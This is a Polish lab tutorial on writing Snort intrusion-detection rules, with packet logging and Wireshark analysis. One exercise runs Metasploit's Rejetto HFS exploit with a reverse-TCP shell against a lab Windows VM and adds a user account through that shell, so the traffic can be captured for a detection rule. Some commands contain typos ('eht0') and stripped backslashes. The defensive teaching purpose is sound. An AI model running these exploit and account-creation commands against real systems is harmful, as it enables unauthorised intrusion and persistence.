W tej serii ćwiczeń laboratoryjnych zademonstrujemy różne techniki pisania reguł Snorta, od podstawowej składni reguł do pisania reguł ukierunkowanych na wykrywanie określonych typów ataków. Zapoznamy się również z podstawowymi metodami analizy i optymalizacji wydajności reguł.
Ćwiczenie 1: Snort jako IDS
Snort jest najbardziej znany jako IDS. Ze strony snort.org:
„Snort® to sieciowy system zapobiegania i wykrywania włamań (IDS/IPS) o otwartym kodzie źródłowym, opracowany przez firmę Sourcefire. Łącząc zalety inspekcji opartej na sygnaturach, protokołach i anomaliach, Snort jest najczęściej wdrażaną technologią IDS/IPS na świecie. Z milionami pobrań i prawie 400 000 zarejestrowanych użytkowników, Snort stał się de facto standardem dla IPS.”
Należy również wspomnieć, że Sourcefire został przejęty przez Cisco na początku października 2013 roku.
Snort może zasadniczo działać w trzech różnych trybach: Tryb IDS, tryb logowania i tryb sniffera. W tej części laboratorium będziemy używać Snorta w trybie IDS, a później użyjemy go jako rejestratora pakietów. Do tego laboratorium użyjemy maszyny Ubuntu Server VM, Windows Server 2012 R2 VM oraz Kali Linux VM.
Masz Snorta w wersji 2.9.8 zainstalowanego na Ubuntu Server VM. Uruchom maszynę Ubuntu Server VM, zaloguj się, używając poświadczeń podanych na początku tego przewodnika i otwórz powłokę terminala, klikając dwukrotnie skrót na pulpicie. (Alternatywnie można nacisnąć Ctrl+Alt+T, aby otworzyć nową powłokę.)
Aby sprawdzić wersję Snorta, wpisz snort -V i naciśnij Enter.
Następnie musimy skonfigurować wartość HOME_NET: sieć, którą będziemy chronić. Po pierwsze, wpisz ifconfig w powłoce terminala, aby zobaczyć konfigurację sieci. Zwróć uwagę na adres IP i wartość interfejsu sieciowego. Zobacz obrazek poniżej (twój IP może być inny).
Następnie wpisz następujące polecenie, aby otworzyć plik konfiguracyjny snort w edytorze tekstu gedit:
sudo gedit /etc/snort/snort.conf
Wprowadź hasło dla Ubuntu Server. Kiedy otworzy się plik snort.conf, przewiń w dół, aż znajdziesz ustawienie ipvar HOME_NET. Będziesz chciał zmienić adres IP na swoją rzeczywistą podsieć klasy C. Obecnie powinna to być 192.168.132.0/24. Po prostu zmień część dotyczącą adresu IP tak, aby odpowiadała adresowi IP maszyny wirtualnej serwera Ubuntu, upewniając się, że pozostawiłeś „.0/24″ na końcu.
Wybierz Zapisz z paska na górze i zamknij plik. W tym momencie Snort jest gotowy do działania. Tyle, że nie ma jeszcze załadowanych żadnych reguł. Aby to sprawdzić, wykonaj następującą komendę:
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Tutaj mówimy Snortowi, aby przetestował (-T) plik konfiguracyjny (-c wskazuje na jego lokalizację) na interfejsie eth0 (wpisz swoją wartość interfejsu, jeśli jest inna). Spowoduje to wyświetlenie dużej ilości danych wyjściowych. Przewiń w górę, aż zobaczysz „0 Snort rules read” (patrz obrazek poniżej).
Przejrzyjmy składnię tej reguły:
Rule headers
- alert – Akcja reguły. Snort wygeneruje alert, gdy spełniony zostanie ustalony warunek.
- any – źródłowe IP. Snort będzie patrzył na wszystkie źródła.
- any – Port źródłowy. Snort będzie patrzył na wszystkie porty.
- -> – Kierunek. Od źródła do celu.
- $HOME_NET – Docelowy adres IP. Używamy wartości HOME_NET z pliku snort.conf.
- any – Port docelowy. Snort będzie patrzył na wszystkie porty w chronionej sieci.
Opcje reguły:
- msg: „ICMP test” – Snort dołączy tę wiadomość do alertu.
- sid:1000001 – Identyfikator reguły Snorta. Pamiętaj, że wszystkie liczby mniejsze niż 1,000,000 są zarezerwowane; dlatego zaczynamy od 1,000,001. (Możesz użyć dowolnej liczby, pod warunkiem, że jest ona większa niż 1,000,000.)
- rev:1 – Numer rewizji. Ta opcja pozwala na łatwiejsze utrzymanie reguł.
- classtype:icmp-event – Kategoryzuje regułę jako „icmp-event”, jedn± z predefiniowanych kategorii Snorta. Opcja ta pomaga w organizacji reguł.
Kliknij Zapisz i zamknij plik. Teraz uruchommy ponownie polecenie testowania konfiguracji Snorta:
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Jeśli przewiniesz w górę, powinieneś zobaczyć, że jedna reguła została załadowana.
Teraz uruchommy Snorta w trybie IDS i powiedzmy mu, żeby wyświetlał alerty na konsoli:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
Ponownie, wskazujemy Snortowi plik konfiguracyjny, którego powinien użyć (-c) i określamy interfejs (-i eth0). Opcja konsoli -A drukuje alerty na standardowe wyjście, a -q jest dla trybu „cichego” (nie pokazuje bannera i raportu o stanie). Po wpisaniu polecenia nie powinieneś zobaczyć żadnego wyjścia, ponieważ Snort nie wykrył żadnej aktywności określonej w napisanej przez nas regule.
Zagenerujmy jakąś aktywność i sprawdźmy czy nasza reguła działa.
Uruchom maszynę wirtualną Kali Linux. Być może będziesz musiał wpisać startx po wprowadzeniu danych uwierzytelniających, aby dostać się do GUI. Gdy już tam będziesz, otwórz powłokę terminala klikając ikonę na górnym pasku menu.
Teraz zacznij pingować swój serwer Ubuntu następującym poleceniem (użyj IP swojego serwera Ubuntu zamiast .x.x):
ping 192.168.x.x
Pozwól mu działać przez kilka sekund i naciśnij Ctrl+C, aby zatrzymać i powrócić do prompt.
Teraz wróć do swojego serwera Ubuntu z uruchomionym Snort IDS. Powinieneś zobaczyć alerty generowane dla każdej wiadomości ICMP Echo request i Echo reply, z tekstem wiadomości, który podaliśmy w opcji msg:
Możemy również zobaczyć źródłowy adres IP hosta odpowiedzialnego za aktywność generującą alerty. W powyższym przykładzie jest to 192.168.132.133; Twój może być inny (ale będzie to IP Twojej maszyny wirtualnej Kali Linux). Nasza reguła testowa działa! Naciśnij Ctrl+C aby zatrzymać Snorta i powrócić do podpowiedzi.
Teraz napiszmy kolejną regułę, tym razem nieco bardziej szczegółową. Otwórzmy nasz plik local.rules w edytorze tekstowym:
sudo gedit /etc/snort/rules/local.rules
Po pierwsze, wykomentujmy naszą pierwszą regułę. Umieść przed nią znak funta (#). W nowej linii, napisz następującą regułę (używając twojego IP Kali Linux dla x.x):
alert tcp 192.168.x.x any -> $HOME_NET 21 (msg: „FTP connection attempt”; sid:1000002; rev:1;)
Tutaj zmieniliśmy protokół na TCP, użyliśmy określonego źródłowego IP, ustawiliśmy numer portu docelowego na 21 (domyślny port dla połączeń FTP) i zmieniliśmy tekst komunikatu alertu. Zapisz i zamknij plik. Teraz ponownie uruchommy Snorta w trybie IDS, ale tym razem dodamy jeszcze jedną opcję, jak poniżej:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0 -K ascii
Powiadamiamy Snortowi, aby logował generowane alerty w formacie ASCII, a nie domyślnym pcap. Po uruchomieniu Snorta (ponownie, nie zobaczysz żadnych danych wyjściowych od razu), przejdź do swojej maszyny wirtualnej Kali Linux i wprowadź następujące polecenie w powłoce terminala (używając adresu IP serwera Ubuntu):
ftp 192.168.x.x
Powróć do serwera Ubuntu. Powinieneś zobaczyć, że alert został wygenerowany.
Aby upewnić się, że reguła nie generuje żadnych fałszywych alarmów, możesz otworzyć inną powłokę terminala na maszynie Ubuntu Server i spróbować połączyć się z tym samym serwerem FTP. Nie powinieneś zobaczyć żadnych nowych alertów. Naciśnij Ctrl+C, aby zatrzymać Snorta.
Teraz uruchom następujące polecenie, aby wykonać listing katalogu logów Snorta:
ls /var/log/snort
Powinieneś zobaczyć coś podobnego do poniższego obrazka:
Plik snort.log.* (możesz mieć więcej niż jeden, jeśli wcześniej wygenerowałeś więcej niż jedną aktywność generującą alerty) jest plikiem logu .pcap. Nie można go odczytać za pomocą edytora tekstu. Adres IP, który widzisz (Twój będzie inny niż na obrazku) jest źródłowym adresem IP dla alertu, który właśnie zobaczyliśmy dla naszej reguły FTP. Jest to katalog. Zobaczmy, co jest w środku:
sudo ls /var/log/snort/192.168.x.x
Widzisz, że jest tam plik nazwany po protokole (TCP) i numerach portów biorących udział w aktywności. Możemy odczytać ten plik za pomocą edytora tekstu lub po prostu użyć polecenia cat:
sudo cat /var/log/snort/192.168.x.x/TCP:4561-21
Otrzymujemy te same informacje, które widzieliśmy na wyjściu konsoli z kilkoma dodatkowymi szczegółami.
A co z plikami .pcap? Możemy użyć Wiresharka, popularnego analizatora protokołów sieciowych, aby je zbadać. Wpisz sudo wireshark, aby uruchomić program. Kliknij OK, aby zaakceptować pojawiające się komunikaty o błędach/ostrzeżeniach. W głównym oknie Wiresharka przejdź do Plik → Otwórz.
Przejrzyj do katalogu /var/log/snort, wybierz plik snort.log.* i kliknij Otwórz.
Dużo więcej informacji tutaj! Kliknij, aby rozwinąć dowolny element w środkowym okienku. Teraz możemy przyjrzeć się zawartości każdego pakietu.
Zamknij program Wireshark. Będziemy z niego często korzystać w trakcie ćwiczeń.
Dla naszej następnej reguły napiszmy taką, która oprócz protokołów, adresów IP i numerów portów szuka także zawartości. Po pierwsze, musimy wygenerować pewną aktywność, która dostarczy nam treści potrzebnych do stworzenia reguły.
Uruchom maszynę wirtualną Windows Server 2012 R2 i zaloguj się, używając poświadczeń podanych na początku tego przewodnika. Na tej maszynie wirtualnej jest uruchomiony serwer FTP. Po pierwsze, znajdź adres IP maszyny wirtualnej Windows Server 2102 R2. Możesz to zrobić, otwierając wiersz poleceń ze skrótu na pulpicie i wpisując ipconfig.
Zauważ wartość „IPv4 Address” (Twój może być inny niż na obrazku). Teraz wróć do swojej Ubuntu Server VM i wpisz ftp 192.168.x.x (używając adresu IP, który właśnie sprawdziłeś). Kiedy zostaniesz poproszony o nazwę i hasło, po prostu naciśnij Enter. Przeanalizuj dane wyjściowe.
Jak widzimy, wprowadzenie nieprawidłowych danych uwierzytelniających skutkuje komunikatem o treści „Login lub hasło nieprawidłowe”. Teraz mamy wystarczająco dużo informacji, aby napisać naszą regułę. Wpisz quit aby opuścić FTP i powrócić do prompt. Otwórz ponownie nasz plik local.rules:
sudo gedit /etc/snort/rules/local.rules
Ponieważ będziemy dużo pracować z tym plikiem, możesz zostawić go otwartym i uruchomić nową powłokę terminala, aby wprowadzać polecenia.
Dodaj następującą regułę w nowej linii:
alert tcp $HOME_NET 21 -> any any any (msg: „FTP failed login”; content: „Login or password incorrect”; sid:1000003; rev:1;)
Zauważ, że teraz ustawiliśmy wartość HOME_NET jako nasz źródłowy IP, ponieważ będziemy szukać wychodzących odpowiedzi serwera FTP. Zapisz plik. Teraz przetestujmy regułę. Uruchom Snort w trybie IDS:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
Teraz przejdź do swojej maszyny wirtualnej Kali Linux i spróbuj połączyć się z serwerem FTP na Windows Server 2012 R2 (ftp 192.168.x.x), wpisując dowolne wartości dla Name i Password. Wpisz quit, aby powrócić do znaku zachęty. Wróć do maszyny wirtualnej z serwerem Ubuntu. Powinieneś zobaczyć kilka alertów wygenerowanych przez obie aktywne reguły, które wczytaliśmy do Snorta. Naciśnij CTRL+C, aby zatrzymać Snorta.
Ćwiczenie 2: Snort jako rejestrator pakietów
Z uwagi na szybko zmieniający się krajobraz i wektory ataków, możemy nawet nie wiedzieć, czego powinniśmy szukać, dopóki nie zobaczymy ataku. Wtedy, być może, po zbadaniu tego ruchu, moglibyśmy stworzyć regułę dla tego konkretnego „nowego” ataku. Dokładnie w ten sposób tworzone są domyślne, publicznie dostępne reguły Snorta. Uruchomimy teraz Snorta w trybie logowania i zobaczymy, co jesteśmy w stanie zidentyfikować w ruchu opartym na atakach, które przeprowadzamy.
W tym ćwiczeniu zasymulujemy atak na nasz serwer Windows, uruchamiając Snorta w trybie logowania pakietów. Następnie zbadamy zarejestrowane pakiety, aby zobaczyć, czy możemy zidentyfikować sygnaturę ataku.
Upewnij się, że wszystkie trzy maszyny wirtualne (Ubuntu Server, Windows Server i Kali Linux) są uruchomione. Na maszynie wirtualnej Kali Linux, wpisz następujące polecenie w powłoce terminala:
msfconsole
To uruchomi Metasploit Framework, popularną platformę do testów penetracyjnych. Ładowanie zajmie kilka sekund. Zignoruj błąd połączenia z bazą danych. Poczekaj, aż zobaczysz znak zachęty msf>. Gdy już się pojawi, wprowadź następującą serię poleceń:
use exploit/windows/http/rejetto_hfs_exec
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.x.x (adres IP maszyny wirtualnej Kali Linux)
set RHOST 192.168.x.x (adres IP maszyny wirtualnej Windows Server 2012 R2)
set RPORT 8081
Tutaj skonfigurowaliśmy exploit przeciwko podatnej wersji serwera plików HTTP Rejetto HFS, który jest uruchomiony na naszej maszynie wirtualnej Windows Server 2012 R2.
Przed uruchomieniem exploita musimy uruchomić Snorta w trybie rejestrowania pakietów. Przejdź do swojej maszyny wirtualnej Ubuntu Server i wprowadź następujące polecenie w powłoce terminala:
sudo snort -dev -q -l /var/log/snort -i eth0
Nie zobaczysz żadnego wyjścia. Teraz wróć do msf exploit, który skonfigurowałeś na maszynie wirtualnej Kali Linux i wpisz exploit. Jeśli exploit się powiódł, powinieneś skończyć z powłoką poleceń:
Teraz, gdy mamy dostęp do systemu, wykonajmy następujące czynności:
Utwórzmy nowe konto użytkownika:
net user accountname P@ssword12 /ADD
Zmieńmy katalogi na c:
cd
Utwórzmy nowy katalog, który będzie twoim nazwiskiem.
mkdir yourname
Teraz naciśnij Ctrl+C i odpowiedz y na „tak”, aby zamknąć dostęp do powłoki poleceń.
Następnie przejdź do swojej maszyny wirtualnej Ubuntu Server i naciśnij Ctrl+C, aby zatrzymać Snort. Wpisz sudo wireshark do swojej powłoki terminala. W Wiresharku przechodzimy do Plik → Otwórz i przeglądamy /var/log/snort. W tym momencie będziemy mieli tam kilka plików snort.log.*. Wybierz ten, który był ostatnio modyfikowany i kliknij Otwórz.
Powinieneś zobaczyć sporo przechwyconych pakietów.
Musimy znaleźć te, które są związane z naszym symulowanym atakiem. W Wiresharku wybieramy Edit → Find Packet. W oknie dialogowym zaznaczamy opcję String. Następnie jako kryterium Search In wybieramy Packet Bytes. Następnie w polu wyszukiwania wpisz utworzoną przez siebie nazwę użytkownika.
Po skonfigurowaniu okna dialogowego kliknij przycisk Find. Wyszukiwanie powinno znaleźć pakiet, który zawiera szukany ciąg znaków. Przejdź dalej i wybierz ten pakiet. Będzie to ten w kolorze ciemnopomarańczowym. Kliknij go prawym przyciskiem myszy i wybierz opcję Śledź strumień TCP.
Ta czynność powinna pokazać wszystkie polecenia, które zostały wprowadzone w tej sesji TCP. Będzie to obejmować tworzenie konta, jak również inne działania.
Po zweryfikowaniu wyników, przejdź dalej i zamknij okno strumienia. To powinno zabrać cię z powrotem do pakietu, który wybrałeś na początku. Teraz naciśnij strzałkę w górę, aż zobaczysz część ASCII twojego hex dump’u pokazującą „C:UsersAdministratorDesktophfs2.3b>” w dolnym panelu. Zobacz poniżej.
Zauważ zaznaczoną część na powyższej grafice. Wykorzystamy tę zawartość do stworzenia alertu, który poinformuje nas, gdy powłoka poleceń zostanie wysłana na inny host w wyniku działania exploita Rejetto HFS. Zminimalizuj okno Wiresharka (nie zamykaj go jeszcze).
Ćwiczenie 3: Budowanie niestandardowej reguły na podstawie zarejestrowanego ruchu
Chcemy, aby alert pojawiał się za każdym razem, gdy Snort zobaczy „C:UsersAdministratorDesktophfs2.3b>.” Przejdź do naszego pliku local.rules (jeśli go zamknąłeś, otwórz go ponownie jako root, używając tego samego polecenia, co wcześniej) i dodaj następującą regułę w nowej linii (zauważ, że uciekamy od wszystkich backslashes, aby upewnić się, że są zawarte w treści):
alert tcp $HOME_NET any -> any any (msg: „Command Shell Access”; content: „C:UsersAdministratorDesktophfs2.3b”; sid:1000004; rev:1;)
Zapisz plik. Uruchom ponownie Snort w trybie IDS:
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
Teraz wróć do swojej maszyny wirtualnej Kali Linux. Powinieneś nadal być w monitach o exploit rejetto. Po prostu wpisz exploit, aby uruchomić go ponownie. Poczekaj aż uzyskasz dostęp do powłoki poleceń i wróć do terminala Snorta na Ubuntu Server. Powinieneś zobaczyć, że alerty zostały wygenerowane, w oparciu o naszą nową regułę:
Wciśnij Ctrl+C na terminalu Kali Linux i wpisz y aby wyjść z powłoki poleceń. Następnie naciśnij Ctrl+C na terminalu serwera Ubuntu, aby zatrzymać Snort.
W tym przypadku mamy treść czytelną dla człowieka, którą możemy wykorzystać w naszej regule. Ale nie zawsze tak jest.
Zmodyfikujmy naszą regułę tak, aby szukała ona zawartości reprezentowanej w formacie heksadecymalnym. Po pierwsze, w naszym pliku local.rules, skopiuj naszą ostatnią regułę i wklej ją poniżej w nowej linii. Teraz wykomentuj starą regułę i zmień wartość „rev” dla nowej reguły na „2”. Patrz poniżej.
Wywołaj ponownie okno Wiresharka z naszym przechwytywaniem, z zaznaczoną tą samą częścią payload. Niestety, nie można kopiować wartości heksadecymalnych bezpośrednio z głównego okna Wiresharka, ale istnieje proste rozwiązanie, które sprawdzi się w naszym przypadku. Po wybraniu żądanej zawartości, kliknij prawym przyciskiem myszy na odpowiedni (podświetlony) pakiet w górnym okienku lub na podświetlony wpis „Data:” w środkowym okienku i wybierz Copy → Bytes → Offset Hex. Zobacz poniżej.
Następnie, w naszym pliku local.rules, zaznacz argument content (wszystko pomiędzy cudzysłowami) w naszej nowej regule, kliknij prawym przyciskiem myszy i kliknij Paste. Teraz starannie usuń wszystkie dodatkowe spacje, przerwy między wierszami i tak dalej, pozostawiając tylko potrzebne wartości heksadecymalne. Następnie umieść symbole rur (|) po obu stronach. Twoja gotowa reguła powinna wyglądać jak na poniższym obrazku.
Zapisz plik. Uruchom Snorta w trybie IDS. Następnie przejdź do swojej maszyny wirtualnej Kali Linux i uruchom exploita ponownie. Poczekaj, aż pojawi się powłoka poleceń i spójrz na wyjście Snorta. Powinieneś zobaczyć wygenerowane alerty.
Tym razem widzimy dwa alerty zamiast czterech, ponieważ zawarliśmy w treści reprezentację heksadecymalną symbolu „>”, dzięki czemu reguła jest bardziej szczegółowa.
Naciśnij Ctrl+C, aby zatrzymać Snort. Następnie, na maszynie Kali Linux, wciśnij Ctrl+C i wpisz y aby wyjść z powłoki poleceń. Wpisz exit, aby powrócić do normalnego znaku zachęty.
To są tylko niektóre z podstaw pisania reguł Snorta. Później przyjrzymy się niektórym bardziej zaawansowanym technikom.